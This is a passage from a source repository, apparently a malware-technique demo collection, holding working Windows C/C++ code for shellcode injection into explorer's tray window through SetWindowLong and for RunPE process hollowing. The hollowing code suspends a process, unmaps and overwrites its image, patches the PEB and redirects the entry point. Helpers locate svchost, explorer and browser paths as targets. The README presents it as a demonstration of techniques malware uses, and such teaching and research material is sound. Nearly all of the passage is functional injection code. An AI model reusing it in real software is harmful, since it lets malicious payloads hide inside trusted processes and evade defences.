NULL, NULL, &viewSize, inheritDisposition, NULL, PAGE_EXECUTE_READWRITE)) != STATUS_SUCCESS) 28 | { 29 | printf("[ERROR] NtMapViewOfSection failed, status : %x\n", status); 30 | return NULL; 31 | } 32 | printf("Section BaseAddress: %p\n", sectionBaseAddress); 33 | 34 | //map the new section into context of opened process 35 | PVOID sectionBaseAddress2 = NULL; 36 | if ((status = NtMapViewOfSection(hSection, hProcess, §ionBaseAddress2, NULL, NULL, NULL, &viewSize, ViewShare, NULL, PAGE_EXECUTE_READWRITE)) != STATUS_SUCCESS) 37 | { 38 | printf("[ERROR] NtMapViewOfSection failed, status : %x\n", status); 39 | return NULL; 40 | } 41 | 42 | LPVOID shellcode_remote_ptr = sectionBaseAddress2; 43 | LPVOID shellcode_local_ptr = sectionBaseAddress; 44 | 45 | //the same page have double mapping - remote and local, so local modifications are reflected remotely 46 | memcpy (shellcode_local_ptr, shellcode, shellcodeSize); 47 | printf("Shellcode copied!\n"); 48 | 49 | LPVOID handles_remote_ptr = (BYTE*) shellcode_remote_ptr + shellcodeSize; 50 | LPVOID handles_local_ptr = (BYTE*) shellcode_local_ptr + shellcodeSize; 51 | 52 | //store the remote addresses 53 | PVOID buf_va = (BYTE*) handles_remote_ptr; 54 | LONG hop1 = (LONG) buf_va + sizeof(LONG); 55 | LONG shellc_va = (LONG) shellcode_remote_ptr; 56 | 57 | //fill the pointers 58 | memcpy((BYTE*)handles_local_ptr, &hop1, sizeof(LONG)); 59 | memcpy((BYTE*)handles_local_ptr + sizeof(LONG), &shellc_va, sizeof(LONG)); 60 | 61 | //unmap from the context of current process 62 | ZwUnmapViewOfSection(GetCurrentProcess(), sectionBaseAddress); 63 | ZwClose(hSection); 64 | 65 | printf("Section mapped at address: %p\n", sectionBaseAddress2); 66 | return shellcode_remote_ptr; 67 | } 68 | 69 | bool inject_into_tray(LPBYTE shellcode, SIZE_T shellcodeSize) 70 | { 71 | HWND hWnd = FindWindow(L"Shell_TrayWnd", NULL); 72 | if (hWnd == NULL) return false; 73 | 74 | DWORD pid = 0; 75 | GetWindowThreadProcessId(hWnd, &pid); 76 | printf("PID:\t%d\n", pid); 77 | //save the current value, because we will need to recover it: 78 | LONG winLong = GetWindowLongW(hWnd, 0); 79 | printf("WindowLong:\t%lx\n", winLong); 80 | 81 | HANDLE hProcess = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, false, pid); 82 | if (hProcess == NULL) { 83 | return false; 84 | } 85 | 86 | LPVOID remote_shellcode_ptr = map_code_and_addresses_into_process(hProcess, shellcode, shellcodeSize); 87 | if (remote_shellcode_ptr == NULL) { 88 | return false; 89 | } 90 | LPVOID remote_handles_ptr = (BYTE*) remote_shellcode_ptr + shellcodeSize; 91 | 92 | printf("Saving handles to:\t%p\n", remote_handles_ptr); 93 | 94 | //set the handle to the injected: 95 | SetWindowLong(hWnd, 0, (LONG) remote_handles_ptr); 96 | 97 | //send signal to execute the injected code 98 | SendNotifyMessage(hWnd, WM_PAINT, 0, 0); 99 | 100 | //procedure will be triggered on every message 101 | //in order to avoid repetitions, injected code should restore the previous value after the first exection 102 | //here we are checking if it is done 103 | size_t max_wait = 5; 104 | while (GetWindowLong(hWnd, 0) != winLong) { 105 | //not restored, wait more 106 | Sleep(100); 107 | if ((max_wait--) == 0) { 108 | //don't wait longer, restore by yourself 109 | SetWindowLong(hWnd, 0, winLong); 110 | SendNotifyMessage(hWnd, WM_PAINT, 0, 0); 111 | } 112 | } 113 | CloseHandle(hProcess); 114 | return true; 115 | } -------------------------------------------------------------------------------- /inject_shellcode/src/window_long_inject.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include "ntddk.h" 5 | 6 | bool inject_into_tray(LPBYTE shellcode, SIZE_T shellcodeSize); 7 | -------------------------------------------------------------------------------- /run_pe/README.md: -------------------------------------------------------------------------------- 1 | # run_pe 2 | RunPE demo
3 | a technique commonly used by malware, demonstrated on a harmless example
4 | -------------------------------------------------------------------------------- /run_pe/src/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | 2 | cmake_minimum_required ( VERSION 2.8...3.21 ) 3 | project (RunPE) 4 | 5 | add_definitions(-DUNICODE -D_UNICODE) 6 | 7 | set (srcs 8 | main.cpp 9 | pe_hdrs_helper.cpp 10 | sysutil.cpp 11 | ) 12 | 13 | set (hdrs 14 | resource.h 15 | ntddk.h 16 | ntdll_undoc.h 17 | target_util.h 18 | createproc.h 19 | pe_hdrs_helper.h 20 | pe_raw_to_virtual.h 21 | relocate.h 22 | runpe.h 23 | sysutil.h 24 | ) 25 | 26 | set (rsrc 27 | resource.rc 28 | ) 29 | 30 | add_executable (RunPE ${rsrc} ${hdrs} ${srcs}) 31 | 32 | INSTALL( TARGETS ${PROJECT_NAME} DESTINATION ${CMAKE_INSTALL_PREFIX} COMPONENT ${PROJECT_NAME} ) 33 | -------------------------------------------------------------------------------- /run_pe/src/createproc.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | bool create_new_process1(IN LPWSTR path, OUT PROCESS_INFORMATION &pi) 4 | { 5 | STARTUPINFO si; 6 | memset(&si, 0, sizeof(STARTUPINFO)); 7 | si.cb = sizeof(STARTUPINFO); 8 | 9 | memset(&pi, 0, sizeof(PROCESS_INFORMATION)); 10 | 11 | if (!CreateProcess( 12 | NULL, 13 | path, 14 | NULL, //lpProcessAttributes 15 | NULL, //lpThreadAttributes 16 | FALSE, //bInheritHandles 17 | CREATE_SUSPENDED, //dwCreationFlags 18 | NULL, //lpEnvironment 19 | NULL, //lpCurrentDirectory 20 | &si, //lpStartupInfo 21 | &pi //lpProcessInformation 22 | )) 23 | { 24 | printf("[ERROR] CreateProcess failed, Error = %x\n", GetLastError()); 25 | return false; 26 | } 27 | return true; 28 | } 29 | -------------------------------------------------------------------------------- /run_pe/src/demo.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hasherezade/demos/96ae61e323d49d75799c94bca94279052afc809d/run_pe/src/demo.bin -------------------------------------------------------------------------------- /run_pe/src/main.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | #include "resource.h" 5 | #include "runpe.h" 6 | #include "target_util.h" 7 | #include "sysutil.h" 8 | 9 | BYTE* get_raw_payload(OUT SIZE_T &res_size) 10 | { 11 | HMODULE hInstance = GetModuleHandle(NULL); 12 | HRSRC res = FindResource(hInstance, MAKEINTRESOURCE(MY_RESOURCE), RT_RCDATA); 13 | if (!res) return NULL; 14 | 15 | HGLOBAL res_handle = LoadResource(NULL, res); 16 | if (res_handle == NULL) return NULL; 17 | 18 | BYTE* res_data = (BYTE*) LockResource(res_handle); 19 | res_size = SizeofResource(NULL, res); 20 | 21 | BYTE* out_buf = (BYTE*) VirtualAlloc(NULL,res_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); 22 | memcpy(out_buf, res_data, res_size); 23 | 24 | FreeResource(res_handle); 25 | return out_buf; 26 | } 27 | 28 | int main(int argc, char *argv[]) 29 | { 30 | BYTE* res_data = NULL; 31 | SIZE_T res_size = 0; 32 | 33 | if ((res_data = get_raw_payload(res_size)) == NULL) { 34 | printf("Failed!\n"); 35 | return -1; 36 | } 37 | 38 | WCHAR targetPath[MAX_PATH]; 39 | if (!get_calc_path(targetPath, MAX_PATH)) { 40 | return -1; 41 | } 42 | 43 | if (runPE32(targetPath, res_data, res_size)) { 44 | printf("Injected!\n"); 45 | } else { 46 | printf("Injection failed\n"); 47 | } 48 | VirtualFree(res_data, res_size, MEM_FREE); 49 | system("pause"); 50 | return 0; 51 | } 52 | -------------------------------------------------------------------------------- /run_pe/src/ntdll_undoc.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include "ntddk.h" 5 | 6 | //don't forget to load functions before use: 7 | //load_ntdll_functions(); 8 | 9 | NTSTATUS (NTAPI *_NtUnmapViewOfSection) ( 10 | IN HANDLE ProcessHandle, 11 | IN PVOID BaseAddress 12 | ); 13 | 14 | 15 | BOOL load_ntdll_functions() 16 | { 17 | HMODULE hNtdll = GetModuleHandleA("ntdll"); 18 | if (hNtdll == NULL) return FALSE; 19 | 20 | _NtUnmapViewOfSection = (NTSTATUS (NTAPI *) (HANDLE, PVOID)) GetProcAddress(hNtdll,"NtUnmapViewOfSection"); 21 | if (_NtUnmapViewOfSection == NULL) return FALSE; 22 | 23 | return TRUE; 24 | } 25 | -------------------------------------------------------------------------------- /run_pe/src/pe_hdrs_helper.cpp: -------------------------------------------------------------------------------- 1 | #include "pe_hdrs_helper.h" 2 | 3 | IMAGE_NT_HEADERS32* get_nt_hrds32(BYTE *pe_buffer) 4 | { 5 | if (pe_buffer == NULL) return NULL; 6 | 7 | IMAGE_DOS_HEADER *idh = (IMAGE_DOS_HEADER*)pe_buffer; 8 | if (idh->e_magic != IMAGE_DOS_SIGNATURE) { 9 | return NULL; 10 | } 11 | const LONG kMaxOffset = 1024; 12 | LONG pe_offset = idh->e_lfanew; 13 | if (pe_offset > kMaxOffset) return NULL; 14 | 15 | IMAGE_NT_HEADERS32 *inh = (IMAGE_NT_HEADERS32 *)((BYTE*)pe_buffer + pe_offset); 16 | return inh; 17 | } 18 | 19 | IMAGE_DATA_DIRECTORY* get_pe_directory32(PVOID pe_buffer, DWORD dir_id) 20 | { 21 | if (dir_id >= IMAGE_NUMBEROF_DIRECTORY_ENTRIES) return NULL; 22 | 23 | //fetch relocation table from current image: 24 | PIMAGE_NT_HEADERS32 nt_headers = get_nt_hrds32((BYTE*) pe_buffer); 25 | if (nt_headers == NULL) return NULL; 26 | 27 | IMAGE_DATA_DIRECTORY* peDir = &(nt_headers->OptionalHeader.DataDirectory[dir_id]); 28 | if (peDir->VirtualAddress == NULL) { 29 | return NULL; 30 | } 31 | return peDir; 32 | } 33 | -------------------------------------------------------------------------------- /run_pe/src/pe_hdrs_helper.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | 4 | IMAGE_NT_HEADERS32* get_nt_hrds32(BYTE *pe_buffer); 5 | IMAGE_DATA_DIRECTORY* get_pe_directory32(PVOID pe_buffer, DWORD dir_id); 6 | -------------------------------------------------------------------------------- /run_pe/src/pe_raw_to_virtual.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | 6 | #include "pe_hdrs_helper.h" 7 | 8 | // Map raw PE into virtual memory of remote process 9 | bool copy_pe_to_virtual_r(BYTE* payload, SIZE_T payload_size, LPVOID baseAddress, HANDLE hProcess) 10 | { 11 | if (payload == NULL) return false; 12 | 13 | IMAGE_NT_HEADERS32* payload_nt_hdr = get_nt_hrds32(payload); 14 | if (payload_nt_hdr == NULL) { 15 | printf("Invalid payload: %p\n", payload); 16 | return false; 17 | } 18 | 19 | SIZE_T written = 0; 20 | 21 | //copy payload's headers: 22 | const DWORD kHdrsSize = payload_nt_hdr->OptionalHeader.SizeOfHeaders; 23 | if (!WriteProcessMemory(hProcess, baseAddress, payload, kHdrsSize, &written)) { 24 | return false; 25 | } 26 | if (written != kHdrsSize) return false; 27 | 28 | printf("Copied payload's headers to: %p\n", baseAddress); 29 | 30 | LPVOID secptr = &(payload_nt_hdr->OptionalHeader); 31 | const DWORD kOptHdrSize = payload_nt_hdr->FileHeader.SizeOfOptionalHeader; 32 | 33 | //copy all the sections, one by one: 34 | secptr = LPVOID((ULONGLONG) secptr + kOptHdrSize); 35 | 36 | printf("Coping sections remotely:\n"); 37 | for (WORD i = 0; i < payload_nt_hdr->FileHeader.NumberOfSections; i++) { 38 | PIMAGE_SECTION_HEADER next_sec = (PIMAGE_SECTION_HEADER)((ULONGLONG)secptr + (IMAGE_SIZEOF_SECTION_HEADER * i)); 39 | 40 | LPVOID section_place = (BYTE*) baseAddress + next_sec->VirtualAddress; 41 | LPVOID section_raw_ptr = payload + next_sec->PointerToRawData; 42 | 43 | if (!WriteProcessMemory(hProcess, section_place, section_raw_ptr, next_sec->SizeOfRawData, &written)) { 44 | return false; 45 | } 46 | if (written != next_sec->SizeOfRawData) return false; 47 | printf("[+] %s to: %p\n", next_sec->Name, section_place); 48 | } 49 | return true; 50 | } 51 | 52 | // Map raw PE into virtual memory of local process: 53 | bool copy_pe_to_virtual_l(BYTE* payload, SIZE_T payload_size, LPVOID baseAddress) 54 | { 55 | if (payload == NULL) return false; 56 | 57 | IMAGE_NT_HEADERS32* payload_nt_hdr = get_nt_hrds32(payload); 58 | if (payload_nt_hdr == NULL) { 59 | printf("Invalid payload: %p\n", payload); 60 | return false; 61 | } 62 | //copy payload's headers: 63 | const DWORD kHdrsSize = payload_nt_hdr->OptionalHeader.SizeOfHeaders; 64 | memcpy(baseAddress, payload, kHdrsSize); 65 | 66 | LPVOID secptr = &(payload_nt_hdr->OptionalHeader); 67 | const DWORD kOptHdrSize = payload_nt_hdr->FileHeader.SizeOfOptionalHeader; 68 | 69 | //copy all the sections, one by one: 70 | secptr = LPVOID((ULONGLONG) secptr + kOptHdrSize); 71 | 72 | printf("Coping sections locally:\n"); 73 | for (WORD i = 0; i < payload_nt_hdr->FileHeader.NumberOfSections; i++) { 74 | PIMAGE_SECTION_HEADER next_sec = (PIMAGE_SECTION_HEADER)((ULONGLONG)secptr + (IMAGE_SIZEOF_SECTION_HEADER * i)); 75 | 76 | LPVOID section_place = (BYTE*) baseAddress + next_sec->VirtualAddress; 77 | LPVOID section_raw_ptr = payload + next_sec->PointerToRawData; 78 | memcpy(section_place, section_raw_ptr, next_sec->SizeOfRawData); 79 | printf("[+] %s to: %p\n", next_sec->Name, section_place); 80 | } 81 | return true; 82 | } 83 | -------------------------------------------------------------------------------- /run_pe/src/relocate.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | #include 4 | #include "pe_hdrs_helper.h" 5 | 6 | #define RELOC_32BIT_FIELD 3 7 | 8 | typedef struct _BASE_RELOCATION_ENTRY { 9 | WORD Offset : 12; 10 | WORD Type: 4; 11 | } BASE_RELOCATION_ENTRY; 12 | 13 | bool has_relocations(BYTE *pe_buffer) 14 | { 15 | IMAGE_DATA_DIRECTORY* relocDir = get_pe_directory32(pe_buffer, IMAGE_DIRECTORY_ENTRY_BASERELOC); 16 | if (relocDir == NULL) { 17 | return false; 18 | } 19 | return true; 20 | } 21 | 22 | bool apply_reloc_block32(BASE_RELOCATION_ENTRY *block, SIZE_T entriesNum, DWORD page, ULONGLONG oldBase, ULONGLONG newBase, PVOID modulePtr) 23 | { 24 | BASE_RELOCATION_ENTRY* entry = block; 25 | SIZE_T i = 0; 26 | for (i = 0; i < entriesNum; i++) { 27 | DWORD offset = entry->Offset; 28 | DWORD type = entry->Type; 29 | if (entry == NULL || type == 0) { 30 | break; 31 | } 32 | if (type != RELOC_32BIT_FIELD) { 33 | printf("Not supported relocations format at %d: %d\n", static_cast(i), type); 34 | return false; 35 | } 36 | DWORD* relocateAddr = (DWORD*) ((ULONG_PTR) modulePtr + page + offset); 37 | (*relocateAddr) = static_cast((*relocateAddr) - (ULONG_PTR) oldBase) + newBase; 38 | entry = (BASE_RELOCATION_ENTRY*)((ULONG_PTR) entry + sizeof(WORD)); 39 | } 40 | printf("[+] Applied %d relocations\n", static_cast(i)); 41 | return true; 42 | } 43 | 44 | bool apply_relocations(ULONGLONG newBase, ULONGLONG oldBase, PVOID modulePtr) 45 | { 46 | IMAGE_DATA_DIRECTORY* relocDir = get_pe_directory32(modulePtr, IMAGE_DIRECTORY_ENTRY_BASERELOC); 47 | if (relocDir == NULL) { 48 | printf ("Cannot relocate - application have no relocation table!\n"); 49 | return false; 50 | } 51 | DWORD maxSize = relocDir->Size; 52 | DWORD relocAddr = relocDir->VirtualAddress; 53 | 54 | IMAGE_BASE_RELOCATION* reloc = NULL; 55 | 56 | DWORD parsedSize = 0; 57 | while (parsedSize < maxSize) { 58 | reloc = (IMAGE_BASE_RELOCATION*)(relocAddr + parsedSize + (ULONG_PTR) modulePtr); 59 | parsedSize += reloc->SizeOfBlock; 60 | 61 | if (reloc->VirtualAddress == NULL || reloc->SizeOfBlock == 0) { 62 | continue; 63 | } 64 | 65 | printf("RelocBlock: %x %x\n", reloc->VirtualAddress, reloc->SizeOfBlock); 66 | 67 | size_t entriesNum = (reloc->SizeOfBlock - 2 * sizeof(DWORD)) / sizeof(WORD); 68 | DWORD page = reloc->VirtualAddress; 69 | 70 | BASE_RELOCATION_ENTRY* block = (BASE_RELOCATION_ENTRY*)((ULONG_PTR) reloc + sizeof(DWORD) + sizeof(DWORD)); 71 | if (apply_reloc_block32(block, entriesNum, page, oldBase, newBase, modulePtr) == false) { 72 | return false; 73 | } 74 | } 75 | return true; 76 | } 77 | -------------------------------------------------------------------------------- /run_pe/src/resource.h: -------------------------------------------------------------------------------- 1 | // resource.h 2 | 3 | #define MY_RESOURCE 101 4 | -------------------------------------------------------------------------------- /run_pe/src/resource.rc: -------------------------------------------------------------------------------- 1 | // resource.rc : 2 | 3 | // Microsoft Visual C++ generated resource script. 4 | // 5 | #include "resource.h" 6 | 7 | #define APSTUDIO_READONLY_SYMBOLS 8 | ///////////////////////////////////////////////////////////////////////////// 9 | // 10 | // Generated from the TEXTINCLUDE 2 resource. 11 | // 12 | #include "windows.h" 13 | 14 | ///////////////////////////////////////////////////////////////////////////// 15 | #undef APSTUDIO_READONLY_SYMBOLS 16 | 17 | ///////////////////////////////////////////////////////////////////////////// 18 | 19 | #if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_PLK) 20 | LANGUAGE LANG_ENGLISH, SUBLANG_DEFAULT 21 | 22 | #ifdef APSTUDIO_INVOKED 23 | ///////////////////////////////////////////////////////////////////////////// 24 | // 25 | // TEXTINCLUDE 26 | // 27 | 28 | 1 TEXTINCLUDE 29 | BEGIN 30 | "resource.h\0" 31 | END 32 | 33 | 2 TEXTINCLUDE 34 | BEGIN 35 | "#include ""windows.h""\r\n" 36 | "\0" 37 | END 38 | 39 | 3 TEXTINCLUDE 40 | BEGIN 41 | "\r\n" 42 | "\0" 43 | END 44 | 45 | #endif // APSTUDIO_INVOKED 46 | 47 | 48 | ///////////////////////////////////////////////////////////////////////////// 49 | // 50 | // RCDATA 51 | // 52 | 53 | MY_RESOURCE RCDATA "demo.bin" 54 | 55 | #endif 56 | ///////////////////////////////////////////////////////////////////////////// 57 | -------------------------------------------------------------------------------- /run_pe/src/run.bat: -------------------------------------------------------------------------------- 1 | demo.bin -------------------------------------------------------------------------------- /run_pe/src/runpe.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | 6 | #include "ntdll_undoc.h" 7 | #include "createproc.h" 8 | #include "relocate.h" 9 | #include "pe_raw_to_virtual.h" 10 | 11 | /* 12 | runPE32: 13 | targetPath - application where we want to inject 14 | payload - buffer with raw image of PE that we want to inject 15 | payload_size - size of the above 16 | 17 | desiredBase - address where we want to map the payload in the target memory; NULL if we don't care. 18 | This address will be ignored if the payload has no relocations table, because then it must be mapped to it's original ImageBase. 19 | unmap_target - do we want to unmap the target? (we are not forced to do it if it doesn't disturb our chosen base) 20 | */ 21 | bool runPE32(LPWSTR targetPath, BYTE* payload, SIZE_T payload_size, ULONGLONG desiredBase = NULL, bool unmap_target = false) 22 | { 23 | if (!load_ntdll_functions()) return false; 24 | 25 | //check payload: 26 | IMAGE_NT_HEADERS32* payload_nt_hdr32 = get_nt_hrds32(payload); 27 | if (payload_nt_hdr32 == NULL) { 28 | printf("Invalid payload: %p\n", payload); 29 | return false; 30 | } 31 | 32 | const ULONGLONG oldImageBase = payload_nt_hdr32->OptionalHeader.ImageBase; 33 | SIZE_T payloadImageSize = payload_nt_hdr32->OptionalHeader.SizeOfImage; 34 | 35 | //set subsystem always to GUI to avoid crashes: 36 | payload_nt_hdr32->OptionalHeader.Subsystem = IMAGE_SUBSYSTEM_WINDOWS_GUI; 37 | 38 | //create target process: 39 | PROCESS_INFORMATION pi; 40 | if (!create_new_process1(targetPath, pi)) return false; 41 | printf("PID: %d\n", pi.dwProcessId); 42 | 43 | //get initial context of the target: 44 | #if defined(_WIN64) 45 | WOW64_CONTEXT context; 46 | memset(&context, 0, sizeof(WOW64_CONTEXT)); 47 | context.ContextFlags = CONTEXT_INTEGER; 48 | Wow64GetThreadContext(pi.hThread, &context); 49 | #else 50 | CONTEXT context; 51 | memset(&context, 0, sizeof(CONTEXT)); 52 | context.ContextFlags = CONTEXT_INTEGER; 53 | GetThreadContext(pi.hThread, &context); 54 | #endif 55 | //get image base of the target: 56 | DWORD PEB_addr = context.Ebx; 57 | printf("PEB = %x\n", PEB_addr); 58 | 59 | DWORD targetImageBase = 0; //for 32 bit 60 | if (!ReadProcessMemory(pi.hProcess, LPVOID(PEB_addr + 8), &targetImageBase, sizeof(DWORD), NULL)) { 61 | printf("[ERROR] Cannot read from PEB - incompatibile target!\n"); 62 | return false; 63 | } 64 | if (targetImageBase == NULL) { 65 | return false; 66 | } 67 | printf("targetImageBase = %x\n", targetImageBase); 68 | 69 | if (has_relocations(payload) == false) { 70 | //payload have no relocations, so we are bound to use it's original image base 71 | desiredBase = payload_nt_hdr32->OptionalHeader.ImageBase; 72 | } 73 | 74 | if (unmap_target || (ULONGLONG)targetImageBase == desiredBase) { 75 | //unmap the target: 76 | if (_NtUnmapViewOfSection(pi.hProcess, (PVOID)targetImageBase) != ERROR_SUCCESS) { 77 | printf("Unmapping the target failed!\n"); 78 | return false; 79 | } 80 | } 81 | 82 | //try to allocate space that will be the most suitable for the payload: 83 | LPVOID remoteAddress = VirtualAllocEx(pi.hProcess, (LPVOID)desiredBase, payloadImageSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); 84 | if (remoteAddress == NULL) { 85 | printf("Could not allocate memory in the remote process\n"); 86 | return false; 87 | } 88 | printf("Allocated remote ImageBase: %p size: %lx\n", remoteAddress, static_cast(payloadImageSize)); 89 | 90 | //change the image base saved in headers - this is very important for loading imports: 91 | payload_nt_hdr32->OptionalHeader.ImageBase = static_cast((ULONGLONG)remoteAddress); 92 | 93 | //first we will prepare the payload image in the local memory, so that it will be easier to edit it, apply relocations etc. 94 | //when it will be ready, we will copy it into the space reserved in the target process 95 | 96 | LPVOID localCopyAddress = VirtualAlloc(NULL, payloadImageSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);; 97 | if (localCopyAddress == NULL) { 98 | printf("Could not allocate memory in the current process\n"); 99 | return false; 100 | } 101 | printf("Allocated local memory: %p size: %lx\n", localCopyAddress, static_cast(payloadImageSize)); 102 | 103 | if (!copy_pe_to_virtual_l(payload, payload_size, localCopyAddress)) { 104 | printf("Could not copy PE file\n"); 105 | return false; 106 | } 107 | 108 | //if the base address of the payload changed, we need to apply relocations: 109 | if ((ULONGLONG)remoteAddress != oldImageBase) { 110 | if (apply_relocations((ULONGLONG)remoteAddress, oldImageBase, localCopyAddress) == false) { 111 | printf("[ERROR] Could not relocate image!\n"); 112 | return false; 113 | } 114 | } 115 | 116 | SIZE_T written = 0; 117 | // paste the local copy of the prepared image into the reserved space inside the remote process: 118 | if (!WriteProcessMemory(pi.hProcess, remoteAddress, localCopyAddress, payloadImageSize, &written) || written != payloadImageSize) { 119 | printf("[ERROR] Could not paste the image into remote process!\n"); 120 | return false; 121 | } 122 | //free the localy allocated copy 123 | VirtualFree(localCopyAddress, payloadImageSize, MEM_FREE); 124 | 125 | //overwrite ImageBase stored in PEB 126 | DWORD remoteAddr32b = static_cast((ULONGLONG)remoteAddress); 127 | if (!WriteProcessMemory(pi.hProcess, LPVOID(PEB_addr + 8), &remoteAddr32b, sizeof(DWORD), &written) || written != sizeof(DWORD)) { 128 | printf("Failed overwriting PEB: %d\n", static_cast(written)); 129 | return false; 130 | } 131 | 132 | //overwrite context: set new Entry Point 133 | DWORD newEP = static_cast((ULONGLONG)remoteAddress + payload_nt_hdr32->OptionalHeader.AddressOfEntryPoint); 134 | printf("newEP: %x\n", newEP); 135 | context.Eax = newEP; 136 | #if defined(_WIN64) 137 | Wow64SetThreadContext(pi.hThread, &context); 138 | #else 139 | SetThreadContext(pi.hThread, &context); 140 | #endif 141 | //start the injected: 142 | printf("--\n"); 143 | ResumeThread(pi.hThread); 144 | 145 | //free the handles 146 | CloseHandle(pi.hThread); 147 | CloseHandle(pi.hProcess); 148 | return true; 149 | } 150 | -------------------------------------------------------------------------------- /run_pe/src/sysutil.cpp: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include "sysutil.h" 3 | 4 | #include 5 | #include 6 | 7 | typedef BOOL(WINAPI *LPFN_ISWOW64PROCESS) (HANDLE, PBOOL); 8 | 9 | bool is_compiled_32b() 10 | { 11 | if (sizeof(LPVOID) == sizeof(DWORD)) { 12 | return true; 13 | } 14 | return false; 15 | } 16 | 17 | bool is_wow64() 18 | { 19 | LPFN_ISWOW64PROCESS fnIsWow64Process; 20 | BOOL bIsWow64 = false; 21 | 22 | //IsWow64Process is not available on all supported versions of Windows. 23 | //Use GetModuleHandle to get a handle to the DLL that contains the function 24 | //and GetProcAddress to get a pointer to the function if available. 25 | 26 | fnIsWow64Process = (LPFN_ISWOW64PROCESS)GetProcAddress(GetModuleHandleA("kernel32"), "IsWow64Process"); 27 | if (fnIsWow64Process == NULL) { 28 | return false; 29 | } 30 | if (!fnIsWow64Process(GetCurrentProcess(), &bIsWow64)) { 31 | return false; 32 | } 33 | if (bIsWow64 == TRUE) { 34 | return true; //64 bit 35 | } 36 | return false; //32 bit 37 | } 38 | 39 | bool is_system32b() 40 | { 41 | //is the current application 32 bit? 42 | if (!is_compiled_32b()) { 43 | return false; 44 | } 45 | //check if it is running under WoW 46 | if (is_wow64()) { 47 | return false; 48 | } 49 | return true; 50 | } 51 | -------------------------------------------------------------------------------- /run_pe/src/sysutil.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | bool is_compiled_32b(); 4 | bool is_wow64(); 5 | bool is_system32b(); 6 | -------------------------------------------------------------------------------- /run_pe/src/target_util.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | bool get_default_browser(LPWSTR lpwOutPath, DWORD szOutPath) 4 | { 5 | HKEY phkResult; 6 | DWORD iMaxLen = szOutPath; 7 | 8 | LSTATUS res = RegOpenKeyEx(HKEY_CLASSES_ROOT, L"HTTP\\shell\\open\\command", 0, 1u, &phkResult); 9 | if (res != ERROR_SUCCESS) { 10 | printf("[ERROR] Failed with value = %x\n", res); 11 | return false; 12 | } 13 | 14 | res = RegQueryValueEx(phkResult, NULL, NULL, NULL, (LPBYTE) lpwOutPath, (LPDWORD) &iMaxLen); 15 | if (res != ERROR_SUCCESS) { 16 | printf("[ERROR] Failed with value = %x\n", res); 17 | return false; 18 | } 19 | printf("%S\n", lpwOutPath ); 20 | return true; 21 | } 22 | 23 | bool get_calc_path(LPWSTR lpwOutPath, DWORD szOutPath) 24 | { 25 | #if defined(_WIN64) 26 | ExpandEnvironmentStrings(L"%SystemRoot%\\SysWoW64\\calc.exe", lpwOutPath, szOutPath); 27 | #else 28 | ExpandEnvironmentStrings(L"%SystemRoot%\\system32\\calc.exe", lpwOutPath, szOutPath); 29 | #endif 30 | printf("%S\n", lpwOutPath ); 31 | return true; 32 | } 33 | 34 | bool get_svchost_path(LPWSTR lpwOutPath, DWORD szOutPath) 35 | { 36 | #if defined(_WIN64) 37 | ExpandEnvironmentStrings(L"%SystemRoot%\\SysWoW64\\svchost.exe", lpwOutPath, szOutPath); 38 | #else 39 | ExpandEnvironmentStrings(L"%SystemRoot%\\system32\\svchost.exe", lpwOutPath, szOutPath); 40 | #endif 41 | printf("%S\n", lpwOutPath ); 42 | return true; 43 | } 44 | 45 | bool get_explorer_path(LPWSTR lpwOutPath, DWORD szOutPath) 46 | { 47 | ExpandEnvironmentStrings(L"%windir%\\explorer.exe", lpwOutPath, szOutPath); 48 | printf("%S\n", lpwOutPath ); 49 | return true; 50 | } 51 | --------------------------------------------------------------------------------